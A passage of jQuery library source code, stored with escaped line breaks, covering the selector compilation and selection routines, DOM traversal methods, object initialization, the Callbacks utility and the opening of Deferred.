eliminate the need for sorting\n\t\t\t\t\tif ( matchedCount > 0 ) {\n\t\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\t\tif ( !( unmatched[ i ] || setMatched[ i ] ) ) {\n\t\t\t\t\t\t\t\tsetMatched[ i ] = pop.call( results );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// Discard index placeholder values to get only actual matches\n\t\t\t\t\tsetMatched = condense( setMatched );\n\t\t\t\t}\n\n\t\t\t\t// Add matches to results\n\t\t\t\tpush.apply( results, setMatched );\n\n\t\t\t\t// Seedless set matches succeeding multiple successful matchers stipulate sorting\n\t\t\t\tif ( outermost && !seed && setMatched.length > 0 &&\n\t\t\t\t\t( matchedCount + setMatchers.length ) > 1 ) {\n\n\t\t\t\t\tjQuery.uniqueSort( results );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Override manipulation of globals by nested matchers\n\t\t\tif ( outermost ) {\n\t\t\t\tdirruns = dirrunsUnique;\n\t\t\t\toutermostContext = contextBackup;\n\t\t\t}\n\n\t\t\treturn unmatched;\n\t\t};\n\n\treturn bySet ?\n\t\tmarkFunction( superMatcher ) :\n\t\tsuperMatcher;\n}\n\nfunction compile( selector, match /* Internal Use Only */ ) {\n\tvar i,\n\t\tsetMatchers = [],\n\t\telementMatchers = [],\n\t\tcached = compilerCache[ selector + \" \" ];\n\n\tif ( !cached ) {\n\n\t\t// Generate a function of recursive functions that can be used to check each element\n\t\tif ( !match ) {\n\t\t\tmatch = tokenize( selector );\n\t\t}\n\t\ti = match.length;\n\t\twhile ( i-- ) {\n\t\t\tcached = matcherFromTokens( match[ i ] );\n\t\t\tif ( cached[ expando ] ) {\n\t\t\t\tsetMatchers.push( cached );\n\t\t\t} else {\n\t\t\t\telementMatchers.push( cached );\n\t\t\t}\n\t\t}\n\n\t\t// Cache the compiled function\n\t\tcached = compilerCache( selector,\n\t\t\tmatcherFromGroupMatchers( elementMatchers, setMatchers ) );\n\n\t\t// Save selector and tokenization\n\t\tcached.selector = selector;\n\t}\n\treturn cached;\n}\n\n/**\n * A low-level selection function that works with jQuery's compiled\n * selector functions\n * @param {String|Function} selector A selector or a pre-compiled\n * selector function built with jQuery selector compile\n * @param {Element} context\n * @param {Array} [results]\n * @param {Array} [seed] A set of elements to match against\n */\nfunction select( selector, context, results, seed ) {\n\tvar i, tokens, token, type, find,\n\t\tcompiled = typeof selector === \"function\" && selector,\n\t\tmatch = !seed && tokenize( ( selector = compiled.selector || selector ) );\n\n\tresults = results || [];\n\n\t// Try to minimize operations if there is only one selector in the list and no seed\n\t// (the latter of which guarantees us context)\n\tif ( match.length === 1 ) {\n\n\t\t// Reduce context if the leading compound selector is an ID\n\t\ttokens = match[ 0 ] = match[ 0 ].slice( 0 );\n\t\tif ( tokens.length > 2 && ( token = tokens[ 0 ] ).type === \"ID\" &&\n\t\t\t\tcontext.nodeType === 9 && documentIsHTML && Expr.relative[ tokens[ 1 ].type ] ) {\n\n\t\t\tcontext = ( Expr.find.ID(\n\t\t\t\ttoken.matches[ 0 ].replace( runescape, funescape ),\n\t\t\t\tcontext\n\t\t\t) || [] )[ 0 ];\n\t\t\tif ( !context ) {\n\t\t\t\treturn results;\n\n\t\t\t// Precompiled matchers will still verify ancestry, so step up a level\n\t\t\t} else if ( compiled ) {\n\t\t\t\tcontext = context.parentNode;\n\t\t\t}\n\n\t\t\tselector = selector.slice( tokens.shift().value.length );\n\t\t}\n\n\t\t// Fetch a seed set for right-to-left matching\n\t\ti = matchExpr.needsContext.test( selector ) ? 0 : tokens.length;\n\t\twhile ( i-- ) {\n\t\t\ttoken = tokens[ i ];\n\n\t\t\t// Abort if we hit a combinator\n\t\t\tif ( Expr.relative[ ( type = token.type ) ] ) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif ( ( find = Expr.find[ type ] ) ) {\n\n\t\t\t\t// Search, expanding context for leading sibling combinators\n\t\t\t\tif ( ( seed = find(\n\t\t\t\t\ttoken.matches[ 0 ].replace( runescape, funescape ),\n\t\t\t\t\trsibling.test( tokens[ 0 ].type ) &&\n\t\t\t\t\t\ttestContext( context.parentNode ) || context\n\t\t\t\t) ) ) {\n\n\t\t\t\t\t// If seed is empty or no tokens remain, we can return early\n\t\t\t\t\ttokens.splice( i, 1 );\n\t\t\t\t\tselector = seed.length && toSelector( tokens );\n\t\t\t\t\tif ( !selector ) {\n\t\t\t\t\t\tpush.apply( results, seed );\n\t\t\t\t\t\treturn results;\n\t\t\t\t\t}\n\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Compile and execute a filtering function if one is not provided\n\t// Provide `match` to avoid retokenization if we modified the selector above\n\t( compiled || compile( selector, match ) )(\n\t\tseed,\n\t\tcontext,\n\t\t!documentIsHTML,\n\t\tresults,\n\t\t!context || rsibling.test( selector ) && testContext( context.parentNode ) || context\n\t);\n\treturn results;\n}\n\n// One-time assignments\n\n// Support: Android <=4.0 - 4.1+\n// Sort stability\nsupport.sortStable = expando.split( \"\" ).sort( sortOrder ).join( \"\" ) === expando;\n\n// Initialize against the default document\nsetDocument();\n\n// Support: Android <=4.0 - 4.1+\n// Detached nodes confoundingly follow *each other*\nsupport.sortDetached = assert( function( el ) {\n\n\t// Should return 1, but returns 4 (following)\n\treturn el.compareDocumentPosition( document.createElement( \"fieldset\" ) ) & 1;\n} );\n\njQuery.find = find;\n\n// Deprecated\njQuery.expr[ \":\" ] = jQuery.expr.pseudos;\njQuery.unique = jQuery.uniqueSort;\n\n// These have always been private, but they used to be documented as part of\n// Sizzle so let's maintain them for now for backwards compatibility purposes.\nfind.compile = compile;\nfind.select = select;\nfind.setDocument = setDocument;\nfind.tokenize = tokenize;\n\nfind.escape = jQuery.escapeSelector;\nfind.getText = jQuery.text;\nfind.isXML = jQuery.isXMLDoc;\nfind.selectors = jQuery.expr;\nfind.support = jQuery.support;\nfind.uniqueSort = jQuery.uniqueSort;\n\n\t/* eslint-enable */\n\n} )();\n\n\nvar dir = function( elem, dir, until ) {\n\tvar matched = [],\n\t\ttruncate = until !== undefined;\n\n\twhile ( ( elem = elem[ dir ] ) && elem.nodeType !== 9 ) {\n\t\tif ( elem.nodeType === 1 ) {\n\t\t\tif ( truncate && jQuery( elem ).is( until ) ) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tmatched.push( elem );\n\t\t}\n\t}\n\treturn matched;\n};\n\n\nvar siblings = function( n, elem ) {\n\tvar matched = [];\n\n\tfor ( ; n; n = n.nextSibling ) {\n\t\tif ( n.nodeType === 1 && n !== elem ) {\n\t\t\tmatched.push( n );\n\t\t}\n\t}\n\n\treturn matched;\n};\n\n\nvar rneedsContext = jQuery.expr.match.needsContext;\n\nvar rsingleTag = ( /^<([a-z][^\\/\\0>:\\x20\\t\\r\\n\\f]*)[\\x20\\t\\r\\n\\f]*\\/?>(?:<\\/\\1>|)$/i );\n\n\n\n// Implement the identical functionality for filter and not\nfunction winnow( elements, qualifier, not ) {\n\tif ( isFunction( qualifier ) ) {\n\t\treturn jQuery.grep( elements, function( elem, i ) {\n\t\t\treturn !!qualifier.call( elem, i, elem ) !== not;\n\t\t} );\n\t}\n\n\t// Single element\n\tif ( qualifier.nodeType ) {\n\t\treturn jQuery.grep( elements, function( elem ) {\n\t\t\treturn ( elem === qualifier ) !== not;\n\t\t} );\n\t}\n\n\t// Arraylike of elements (jQuery, arguments, Array)\n\tif ( typeof qualifier !== \"string\" ) {\n\t\treturn jQuery.grep( elements, function( elem ) {\n\t\t\treturn ( indexOf.call( qualifier, elem ) > -1 ) !== not;\n\t\t} );\n\t}\n\n\t// Filtered directly for both simple and complex selectors\n\treturn jQuery.filter( qualifier, elements, not );\n}\n\njQuery.filter = function( expr, elems, not ) {\n\tvar elem = elems[ 0 ];\n\n\tif ( not ) {\n\t\texpr = \":not(\" + expr + \")\";\n\t}\n\n\tif ( elems.length === 1 && elem.nodeType === 1 ) {\n\t\treturn jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : [];\n\t}\n\n\treturn jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) {\n\t\treturn elem.nodeType === 1;\n\t} ) );\n};\n\njQuery.fn.extend( {\n\tfind: function( selector ) {\n\t\tvar i, ret,\n\t\t\tlen = this.length,\n\t\t\tself = this;\n\n\t\tif ( typeof selector !== \"string\" ) {\n\t\t\treturn this.pushStack( jQuery( selector ).filter( function() {\n\t\t\t\tfor ( i = 0; i < len; i++ ) {\n\t\t\t\t\tif ( jQuery.contains( self[ i ], this ) ) {\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} ) );\n\t\t}\n\n\t\tret = this.pushStack( [] );\n\n\t\tfor ( i = 0; i < len; i++ ) {\n\t\t\tjQuery.find( selector, self[ i ], ret );\n\t\t}\n\n\t\treturn len > 1 ? jQuery.uniqueSort( ret ) : ret;\n\t},\n\tfilter: function( selector ) {\n\t\treturn this.pushStack( winnow( this, selector || [], false ) );\n\t},\n\tnot: function( selector ) {\n\t\treturn this.pushStack( winnow( this, selector || [], true ) );\n\t},\n\tis: function( selector ) {\n\t\treturn !!winnow(\n\t\t\tthis,\n\n\t\t\t// If this is a positional/relative selector, check membership in the returned set\n\t\t\t// so $(\"p:first\").is(\"p:last\") won't return true for a doc with two \"p\".\n\t\t\ttypeof selector === \"string\" && rneedsContext.test( selector ) ?\n\t\t\t\tjQuery( selector ) :\n\t\t\t\tselector || [],\n\t\t\tfalse\n\t\t).length;\n\t}\n} );\n\n\n// Initialize a jQuery object\n\n\n// A central reference to the root jQuery(document)\nvar rootjQuery,\n\n\t// A simple way to check for HTML strings\n\t// Prioritize #id over <tag> to avoid XSS via location.hash (trac-9521)\n\t// Strict HTML recognition (trac-11290: must start with <)\n\t// Shortcut simple #id case for speed\n\trquickExpr = /^(?:\\s*(<[\\w\\W]+>)[^>]*|#([\\w-]+))$/,\n\n\tinit = jQuery.fn.init = function( selector, context, root ) {\n\t\tvar match, elem;\n\n\t\t// HANDLE: $(\"\"), $(null), $(undefined), $(false)\n\t\tif ( !selector ) {\n\t\t\treturn this;\n\t\t}\n\n\t\t// Method init() accepts an alternate rootjQuery\n\t\t// so migrate can support jQuery.sub (gh-2101)\n\t\troot = root || rootjQuery;\n\n\t\t// Handle HTML strings\n\t\tif ( typeof selector === \"string\" ) {\n\t\t\tif ( selector[ 0 ] === \"<\" &&\n\t\t\t\tselector[ selector.length - 1 ] === \">\" &&\n\t\t\t\tselector.length >= 3 ) {\n\n\t\t\t\t// Assume that strings that start and end with <> are HTML and skip the regex check\n\t\t\t\tmatch = [ null, selector, null ];\n\n\t\t\t} else {\n\t\t\t\tmatch = rquickExpr.exec( selector );\n\t\t\t}\n\n\t\t\t// Match html or make sure no context is specified for #id\n\t\t\tif ( match && ( match[ 1 ] || !context ) ) {\n\n\t\t\t\t// HANDLE: $(html) -> $(array)\n\t\t\t\tif ( match[ 1 ] ) {\n\t\t\t\t\tcontext = context instanceof jQuery ? context[ 0 ] : context;\n\n\t\t\t\t\t// Option to run scripts is true for back-compat\n\t\t\t\t\t// Intentionally let the error be thrown if parseHTML is not present\n\t\t\t\t\tjQuery.merge( this, jQuery.parseHTML(\n\t\t\t\t\t\tmatch[ 1 ],\n\t\t\t\t\t\tcontext && context.nodeType ? context.ownerDocument || context : document,\n\t\t\t\t\t\ttrue\n\t\t\t\t\t) );\n\n\t\t\t\t\t// HANDLE: $(html, props)\n\t\t\t\t\tif ( rsingleTag.test( match[ 1 ] ) && jQuery.isPlainObject( context ) ) {\n\t\t\t\t\t\tfor ( match in context ) {\n\n\t\t\t\t\t\t\t// Properties of context are called as methods if possible\n\t\t\t\t\t\t\tif ( isFunction( this[ match ] ) ) {\n\t\t\t\t\t\t\t\tthis[ match ]( context[ match ] );\n\n\t\t\t\t\t\t\t// ...and otherwise set as attributes\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tthis.attr( match, context[ match ] );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\treturn this;\n\n\t\t\t\t// HANDLE: $(#id)\n\t\t\t\t} else {\n\t\t\t\t\telem = document.getElementById( match[ 2 ] );\n\n\t\t\t\t\tif ( elem ) {\n\n\t\t\t\t\t\t// Inject the element directly into the jQuery object\n\t\t\t\t\t\tthis[ 0 ] = elem;\n\t\t\t\t\t\tthis.length = 1;\n\t\t\t\t\t}\n\t\t\t\t\treturn this;\n\t\t\t\t}\n\n\t\t\t// HANDLE: $(expr, $(...))\n\t\t\t} else if ( !context || context.jquery ) {\n\t\t\t\treturn ( context || root ).find( selector );\n\n\t\t\t// HANDLE: $(expr, context)\n\t\t\t// (which is just equivalent to: $(context).find(expr)\n\t\t\t} else {\n\t\t\t\treturn this.constructor( context ).find( selector );\n\t\t\t}\n\n\t\t// HANDLE: $(DOMElement)\n\t\t} else if ( selector.nodeType ) {\n\t\t\tthis[ 0 ] = selector;\n\t\t\tthis.length = 1;\n\t\t\treturn this;\n\n\t\t// HANDLE: $(function)\n\t\t// Shortcut for document ready\n\t\t} else if ( isFunction( selector ) ) {\n\t\t\treturn root.ready !== undefined ?\n\t\t\t\troot.ready( selector ) :\n\n\t\t\t\t// Execute immediately if ready is not present\n\t\t\t\tselector( jQuery );\n\t\t}\n\n\t\treturn jQuery.makeArray( selector, this );\n\t};\n\n// Give the init function the jQuery prototype for later instantiation\ninit.prototype = jQuery.fn;\n\n// Initialize central reference\nrootjQuery = jQuery( document );\n\n\nvar rparentsprev = /^(?:parents|prev(?:Until|All))/,\n\n\t// Methods guaranteed to produce a unique set when starting from a unique set\n\tguaranteedUnique = {\n\t\tchildren: true,\n\t\tcontents: true,\n\t\tnext: true,\n\t\tprev: true\n\t};\n\njQuery.fn.extend( {\n\thas: function( target ) {\n\t\tvar targets = jQuery( target, this ),\n\t\t\tl = targets.length;\n\n\t\treturn this.filter( function() {\n\t\t\tvar i = 0;\n\t\t\tfor ( ; i < l; i++ ) {\n\t\t\t\tif ( jQuery.contains( this, targets[ i ] ) ) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t} );\n\t},\n\n\tclosest: function( selectors, context ) {\n\t\tvar cur,\n\t\t\ti = 0,\n\t\t\tl = this.length,\n\t\t\tmatched = [],\n\t\t\ttargets = typeof selectors !== \"string\" && jQuery( selectors );\n\n\t\t// Positional selectors never match, since there's no _selection_ context\n\t\tif ( !rneedsContext.test( selectors ) ) {\n\t\t\tfor ( ; i < l; i++ ) {\n\t\t\t\tfor ( cur = this[ i ]; cur && cur !== context; cur = cur.parentNode ) {\n\n\t\t\t\t\t// Always skip document fragments\n\t\t\t\t\tif ( cur.nodeType < 11 && ( targets ?\n\t\t\t\t\t\ttargets.index( cur ) > -1 :\n\n\t\t\t\t\t\t// Don't pass non-elements to jQuery#find\n\t\t\t\t\t\tcur.nodeType === 1 &&\n\t\t\t\t\t\t\tjQuery.find.matchesSelector( cur, selectors ) ) ) {\n\n\t\t\t\t\t\tmatched.push( cur );\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn this.pushStack( matched.length > 1 ? jQuery.uniqueSort( matched ) : matched );\n\t},\n\n\t// Determine the position of an element within the set\n\tindex: function( elem ) {\n\n\t\t// No argument, return index in parent\n\t\tif ( !elem ) {\n\t\t\treturn ( this[ 0 ] && this[ 0 ].parentNode ) ? this.first().prevAll().length : -1;\n\t\t}\n\n\t\t// Index in selector\n\t\tif ( typeof elem === \"string\" ) {\n\t\t\treturn indexOf.call( jQuery( elem ), this[ 0 ] );\n\t\t}\n\n\t\t// Locate the position of the desired element\n\t\treturn indexOf.call( this,\n\n\t\t\t// If it receives a jQuery object, the first element is used\n\t\t\telem.jquery ? elem[ 0 ] : elem\n\t\t);\n\t},\n\n\tadd: function( selector, context ) {\n\t\treturn this.pushStack(\n\t\t\tjQuery.uniqueSort(\n\t\t\t\tjQuery.merge( this.get(), jQuery( selector, context ) )\n\t\t\t)\n\t\t);\n\t},\n\n\taddBack: function( selector ) {\n\t\treturn this.add( selector == null ?\n\t\t\tthis.prevObject : this.prevObject.filter( selector )\n\t\t);\n\t}\n} );\n\nfunction sibling( cur, dir ) {\n\twhile ( ( cur = cur[ dir ] ) && cur.nodeType !== 1 ) {}\n\treturn cur;\n}\n\njQuery.each( {\n\tparent: function( elem ) {\n\t\tvar parent = elem.parentNode;\n\t\treturn parent && parent.nodeType !== 11 ? parent : null;\n\t},\n\tparents: function( elem ) {\n\t\treturn dir( elem, \"parentNode\" );\n\t},\n\tparentsUntil: function( elem, _i, until ) {\n\t\treturn dir( elem, \"parentNode\", until );\n\t},\n\tnext: function( elem ) {\n\t\treturn sibling( elem, \"nextSibling\" );\n\t},\n\tprev: function( elem ) {\n\t\treturn sibling( elem, \"previousSibling\" );\n\t},\n\tnextAll: function( elem ) {\n\t\treturn dir( elem, \"nextSibling\" );\n\t},\n\tprevAll: function( elem ) {\n\t\treturn dir( elem, \"previousSibling\" );\n\t},\n\tnextUntil: function( elem, _i, until ) {\n\t\treturn dir( elem, \"nextSibling\", until );\n\t},\n\tprevUntil: function( elem, _i, until ) {\n\t\treturn dir( elem, \"previousSibling\", until );\n\t},\n\tsiblings: function( elem ) {\n\t\treturn siblings( ( elem.parentNode || {} ).firstChild, elem );\n\t},\n\tchildren: function( elem ) {\n\t\treturn siblings( elem.firstChild );\n\t},\n\tcontents: function( elem ) {\n\t\tif ( elem.contentDocument != null &&\n\n\t\t\t// Support: IE 11+\n\t\t\t// <object> elements with no `data` attribute has an object\n\t\t\t// `contentDocument` with a `null` prototype.\n\t\t\tgetProto( elem.contentDocument ) ) {\n\n\t\t\treturn elem.contentDocument;\n\t\t}\n\n\t\t// Support: IE 9 - 11 only, iOS 7 only, Android Browser <=4.3 only\n\t\t// Treat the template element as a regular one in browsers that\n\t\t// don't support it.\n\t\tif ( nodeName( elem, \"template\" ) ) {\n\t\t\telem = elem.content || elem;\n\t\t}\n\n\t\treturn jQuery.merge( [], elem.childNodes );\n\t}\n}, function( name, fn ) {\n\tjQuery.fn[ name ] = function( until, selector ) {\n\t\tvar matched = jQuery.map( this, fn, until );\n\n\t\tif ( name.slice( -5 ) !== \"Until\" ) {\n\t\t\tselector = until;\n\t\t}\n\n\t\tif ( selector && typeof selector === \"string\" ) {\n\t\t\tmatched = jQuery.filter( selector, matched );\n\t\t}\n\n\t\tif ( this.length > 1 ) {\n\n\t\t\t// Remove duplicates\n\t\t\tif ( !guaranteedUnique[ name ] ) {\n\t\t\t\tjQuery.uniqueSort( matched );\n\t\t\t}\n\n\t\t\t// Reverse order for parents* and prev-derivatives\n\t\t\tif ( rparentsprev.test( name ) ) {\n\t\t\t\tmatched.reverse();\n\t\t\t}\n\t\t}\n\n\t\treturn this.pushStack( matched );\n\t};\n} );\nvar rnothtmlwhite = ( /[^\\x20\\t\\r\\n\\f]+/g );\n\n\n\n// Convert String-formatted options into Object-formatted ones\nfunction createOptions( options ) {\n\tvar object = {};\n\tjQuery.each( options.match( rnothtmlwhite ) || [], function( _, flag ) {\n\t\tobject[ flag ] = true;\n\t} );\n\treturn object;\n}\n\n/*\n * Create a callback list using the following parameters:\n *\n *\toptions: an optional list of space-separated options that will change how\n *\t\t\tthe callback list behaves or a more traditional option object\n *\n * By default a callback list will act like an event callback list and can be\n * \"fired\" multiple times.\n *\n * Possible options:\n *\n *\tonce:\t\t\twill ensure the callback list can only be fired once (like a Deferred)\n *\n *\tmemory:\t\t\twill keep track of previous values and will call any callback added\n *\t\t\t\t\tafter the list has been fired right away with the latest \"memorized\"\n *\t\t\t\t\tvalues (like a Deferred)\n *\n *\tunique:\t\t\twill ensure a callback can only be added once (no duplicate in the list)\n *\n *\tstopOnFalse:\tinterrupt callings when a callback returns false\n *\n */\njQuery.Callbacks = function( options ) {\n\n\t// Convert options from String-formatted to Object-formatted if needed\n\t// (we check in cache first)\n\toptions = typeof options === \"string\" ?\n\t\tcreateOptions( options ) :\n\t\tjQuery.extend( {}, options );\n\n\tvar // Flag to know if list is currently firing\n\t\tfiring,\n\n\t\t// Last fire value for non-forgettable lists\n\t\tmemory,\n\n\t\t// Flag to know if list was already fired\n\t\tfired,\n\n\t\t// Flag to prevent firing\n\t\tlocked,\n\n\t\t// Actual callback list\n\t\tlist = [],\n\n\t\t// Queue of execution data for repeatable lists\n\t\tqueue = [],\n\n\t\t// Index of currently firing callback (modified by add/remove as needed)\n\t\tfiringIndex = -1,\n\n\t\t// Fire callbacks\n\t\tfire = function() {\n\n\t\t\t// Enforce single-firing\n\t\t\tlocked = locked || options.once;\n\n\t\t\t// Execute callbacks for all pending executions,\n\t\t\t// respecting firingIndex overrides and runtime changes\n\t\t\tfired = firing = true;\n\t\t\tfor ( ; queue.length; firingIndex = -1 ) {\n\t\t\t\tmemory = queue.shift();\n\t\t\t\twhile ( ++firingIndex < list.length ) {\n\n\t\t\t\t\t// Run callback and check for early termination\n\t\t\t\t\tif ( list[ firingIndex ].apply( memory[ 0 ], memory[ 1 ] ) === false &&\n\t\t\t\t\t\toptions.stopOnFalse ) {\n\n\t\t\t\t\t\t// Jump to end and forget the data so .add doesn't re-fire\n\t\t\t\t\t\tfiringIndex = list.length;\n\t\t\t\t\t\tmemory = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Forget the data if we're done with it\n\t\t\tif ( !options.memory ) {\n\t\t\t\tmemory = false;\n\t\t\t}\n\n\t\t\tfiring = false;\n\n\t\t\t// Clean up if we're done firing for good\n\t\t\tif ( locked ) {\n\n\t\t\t\t// Keep an empty list if we have data for future add calls\n\t\t\t\tif ( memory ) {\n\t\t\t\t\tlist = [];\n\n\t\t\t\t// Otherwise, this object is spent\n\t\t\t\t} else {\n\t\t\t\t\tlist = \"\";\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\n\t\t// Actual Callbacks object\n\t\tself = {\n\n\t\t\t// Add a callback or a collection of callbacks to the list\n\t\t\tadd: function() {\n\t\t\t\tif ( list ) {\n\n\t\t\t\t\t// If we have memory from a past run, we should fire after adding\n\t\t\t\t\tif ( memory && !firing ) {\n\t\t\t\t\t\tfiringIndex = list.length - 1;\n\t\t\t\t\t\tqueue.push( memory );\n\t\t\t\t\t}\n\n\t\t\t\t\t( function add( args ) {\n\t\t\t\t\t\tjQuery.each( args, function( _, arg ) {\n\t\t\t\t\t\t\tif ( isFunction( arg ) ) {\n\t\t\t\t\t\t\t\tif ( !options.unique || !self.has( arg ) ) {\n\t\t\t\t\t\t\t\t\tlist.push( arg );\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else if ( arg && arg.length && toType( arg ) !== \"string\" ) {\n\n\t\t\t\t\t\t\t\t// Inspect recursively\n\t\t\t\t\t\t\t\tadd( arg );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} );\n\t\t\t\t\t} )( arguments );\n\n\t\t\t\t\tif ( memory && !firing ) {\n\t\t\t\t\t\tfire();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t},\n\n\t\t\t// Remove a callback from the list\n\t\t\tremove: function() {\n\t\t\t\tjQuery.each( arguments, function( _, arg ) {\n\t\t\t\t\tvar index;\n\t\t\t\t\twhile ( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) {\n\t\t\t\t\t\tlist.splice( index, 1 );\n\n\t\t\t\t\t\t// Handle firing indexes\n\t\t\t\t\t\tif ( index <= firingIndex ) {\n\t\t\t\t\t\t\tfiringIndex--;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} );\n\t\t\t\treturn this;\n\t\t\t},\n\n\t\t\t// Check if a given callback is in the list.\n\t\t\t// If no argument is given, return whether or not list has callbacks attached.\n\t\t\thas: function( fn ) {\n\t\t\t\treturn fn ?\n\t\t\t\t\tjQuery.inArray( fn, list ) > -1 :\n\t\t\t\t\tlist.length > 0;\n\t\t\t},\n\n\t\t\t// Remove all callbacks from the list\n\t\t\tempty: function() {\n\t\t\t\tif ( list ) {\n\t\t\t\t\tlist = [];\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t},\n\n\t\t\t// Disable .fire and .add\n\t\t\t// Abort any current/pending executions\n\t\t\t// Clear all callbacks and values\n\t\t\tdisable: function() {\n\t\t\t\tlocked = queue = [];\n\t\t\t\tlist = memory = \"\";\n\t\t\t\treturn this;\n\t\t\t},\n\t\t\tdisabled: function() {\n\t\t\t\treturn !list;\n\t\t\t},\n\n\t\t\t// Disable .fire\n\t\t\t// Also disable .add unless we have memory (since it would have no effect)\n\t\t\t// Abort any pending executions\n\t\t\tlock: function() {\n\t\t\t\tlocked = queue = [];\n\t\t\t\tif ( !memory && !firing ) {\n\t\t\t\t\tlist = memory = \"\";\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t},\n\t\t\tlocked: function() {\n\t\t\t\treturn !!locked;\n\t\t\t},\n\n\t\t\t// Call all callbacks with the given context and arguments\n\t\t\tfireWith: function( context, args ) {\n\t\t\t\tif ( !locked ) {\n\t\t\t\t\targs = args || [];\n\t\t\t\t\targs = [ context, args.slice ? args.slice() : args ];\n\t\t\t\t\tqueue.push( args );\n\t\t\t\t\tif ( !firing ) {\n\t\t\t\t\t\tfire();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t},\n\n\t\t\t// Call all the callbacks with the given arguments\n\t\t\tfire: function() {\n\t\t\t\tself.fireWith( this, arguments );\n\t\t\t\treturn this;\n\t\t\t},\n\n\t\t\t// To know if the callbacks have already been called at least once\n\t\t\tfired: function() {\n\t\t\t\treturn !!fired;\n\t\t\t}\n\t\t};\n\n\treturn self;\n};\n\n\nfunction Identity( v ) {\n\treturn v;\n}\nfunction Thrower( ex ) {\n\tthrow ex;\n}\n\nfunction adoptValue( value, resolve, reject, noValue ) {\n\tvar method;\n\n\ttry {\n\n\t\t// Check for promise aspect first to privilege synchronous behavior\n\t\tif ( value && isFunction( ( method = value.promise ) ) ) {\n\t\t\tmethod.call( value ).done( resolve ).fail( reject );\n\n\t\t// Other thenables\n\t\t} else if ( value && isFunction( ( method = value.then ) ) ) {\n\t\t\tmethod.call( value, resolve, reject );\n\n\t\t// Other non-thenables\n\t\t} else {\n\n\t\t\t// Control `resolve` arguments by letting Array#slice cast boolean `noValue` to integer:\n\t\t\t// * false: [ value ].slice( 0 ) => resolve( value )\n\t\t\t// * true: [ value ].slice( 1 ) => resolve()\n\t\t\tresolve.apply( undefined, [ value ].slice( noValue ) );\n\t\t}\n\n\t// For Promises/A+, convert exceptions into rejections\n\t// Since jQuery.when doesn't unwrap thenables, we can skip the extra checks appearing in\n\t// Deferred#then to conditionally suppress rejection.\n\t} catch ( value ) {\n\n\t\t// Support: Android 4.0 only\n\t\t// Strict mode functions invoked without .call/.apply get global-object context\n\t\treject.apply( undefined, [ value ] );\n\t}\n}\n\njQuery.extend( {\n\n\tDeferred: function( func ) {\n\t\tvar tuples = [\n\n\t\t\t\t// action, add listener, callbacks,\n\t\t\t\t// ... .then handlers, argument index, [final state]\n\t\t\t\t[ \"notify\", \"progress\", jQuery.Callbacks( \"memory\" ),\n\t\t\t\t\tjQuery.Callbacks( \"memory\" ), 2 ],\n\t\t\t\t[ \"resolve\", \"done\", jQuery.Callbacks( \"once memory\" ),\n\t\t\t\t\tjQuery.Callbacks( \"once memory\" ), 0, \"resolved\" ],\n\t\t\t\t[ \"reject\", \"fail\", jQuery.Callbacks( \"once memory\" ),\n\t\t\t\t\tjQuery.Callbacks( \"once memory\" ), 1, \"rejected\" ]\n\t\t\t],\n\t\t\tstate = \"pending\",\n\t\t\tpromise = {\n\t\t\t\tstate: function() {\n\t\t\t\t\treturn state;\n\t\t\t\t},\n\t\t\t\talways: function() {\n\t\t\t\t\tdeferred.done( arguments ).fail( arguments );\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\t\t\t\t\"catch\": function( fn ) {\n\t\t\t\t\treturn promise.then( null, fn );\n\t\t\t\t},\n\n\t\t\t\t// Keep pipe for back-compat\n\t\t\t\tpipe: function( /* fnDone, fnFail, fnProgress */ ) {\n\t\t\t\t\tvar fns = arguments;\n\n\t\t\t\t\treturn jQuery.Deferred( function( newDefer ) {\n\t\t\t\t\t\tjQuery.each( tuples, function( _i, tuple ) {\n\n\t\t\t\t\t\t\t// Map tuples (progress, done, fail) to arguments (done, fail, progress)\n\t\t\t\t\t\t\tvar fn = isFunction( fns[ tuple[ 4 ] ] ) && fns[ tuple[ 4 ] ];\n\n\t\t\t\t\t\t\t// deferred.progress(function() { bind to newDefer or newDefer.notify })\n\t\t\t\t\t\t\t// deferred.done(function() { bind to newDefer or newDefer.resolve })\n\t\t\t\t\t\t\t// deferred.fail(function() { bind to newDefer or newDefer.reject })\n\t\t\t\t\t\t\tdeferred[ tuple[ 1 ] ]( function() {\n\t\t\t\t\t\t\t\tvar returned = fn && fn.apply( this, arguments );\n\t\t\t\t\t\t\t\tif ( returned && isFunction( returned.promise ) ) {\n\t\t\t\t\t\t\t\t\treturned.promise()\n\t\t\t\t\t\t\t\t\t\t.progress( newDefer.notify )\n\t\t\t\t\t\t\t\t\t\t.done( newDefer.resolve )\n\t\t\t\t\t\t\t\t\t\t.fail( newDefer.reject );\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tnewDefer[ tuple[ 0 ] + \"With\" ](\n\t\t\t\t\t\t\t\t\t\tthis,\n\t\t\t\t\t\t\t\t\t\tfn ? [ returned ] : 